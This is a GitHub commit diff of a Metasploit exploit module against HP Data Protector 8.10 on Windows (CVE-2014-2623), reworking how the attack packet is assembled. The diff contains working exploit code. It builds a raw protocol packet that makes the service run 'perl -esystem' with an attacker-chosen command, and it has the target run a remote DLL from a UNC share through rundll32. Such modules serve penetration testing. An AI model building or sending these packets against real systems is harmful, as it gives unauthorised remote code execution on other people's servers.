Skip to content

Commit 62dde22

Browse files
committed
Clean packet building
1 parent e04ff3e commit 62dde22

File tree

1 file changed

+15
-14
lines changed

1 file changed

+15
-14
lines changed

modules/exploits/windows/misc/hp_dataprotector_dll_cmd_exec.rb

Lines changed: 15 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -26,8 +26,9 @@ def initialize(info={})
2626
'References' =>
2727
[
2828
['CVE', '2014-2623'],
29+
['OSVDB', '109069'],
2930
['EDB', '34066'],
30-
['URL', 'https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818'],
31+
['URL', 'https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818']
3132
],
3233
'DefaultOptions' =>
3334
{
@@ -37,7 +38,7 @@ def initialize(info={})
3738
'Platform' => 'win',
3839
'Targets' =>
3940
[
40-
[ 'HP Data Protector 8.10', { 'Offset' => 46 } ],
41+
[ 'HP Data Protector 8.10 / Windows', { } ],
4142
],
4243
'DefaultTarget' => 0,
4344
'DisclosureDate' => 'Nov 02 2014'))
@@ -90,21 +91,21 @@ def get_fingerprint
9091
Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null
9192
end
9293

93-
def exec_bar(cmd)
94+
def send_pkt(cmd)
9495
cmd.gsub!("\\", "\\\\\\\\")
9596

96-
cmd_no = target['Offset'] + cmd.length
97-
98-
pkt = "\x00\x00\x00"
99-
pkt << cmd_no
100-
pkt << "\x32\x00\x01\x01\x01\x01\x01\x01\x00\x01\x00\x01"
101-
pkt << "\x00\x01\x00\x01\x01\x00\x20\x32\x38\x00\x5c\x70"
102-
pkt << "\x65\x72\x6c\x2e\x65\x78\x65\x00\x20\x2d\x65\x73\x79\x73\x74\x65\x6d" # perl -e system('cmd')
103-
pkt << "('#{cmd}')" # Executable
104-
pkt << "\x00"
97+
pkt = "2\x00"
98+
pkt << "\x01\x01\x01\x01\x01\x01\x00"
99+
pkt << "\x01\x00"
100+
pkt << "\x01\x00"
101+
pkt << "\x01\x00"
102+
pkt << "\x01\x01\x00 "
103+
pkt << "28\x00"
104+
pkt << "\\perl.exe\x00 "
105+
pkt << "-esystem('#{cmd}')\x00"
105106

106107
connect
107-
sock.put(pkt)
108+
sock.put([pkt.length].pack('N') + pkt)
108109
disconnect
109110
end
110111

@@ -114,6 +115,6 @@ def primer
114115

115116
print_status("#{peer} - Trying to execute remote DLL...")
116117
sploit = "rundll32.exe #{unc},#{rand_text_numeric(1)}"
117-
exec_bar(sploit)
118+
send_pkt(sploit)
118119
end
119120
end

0 commit comments

Comments
 (0)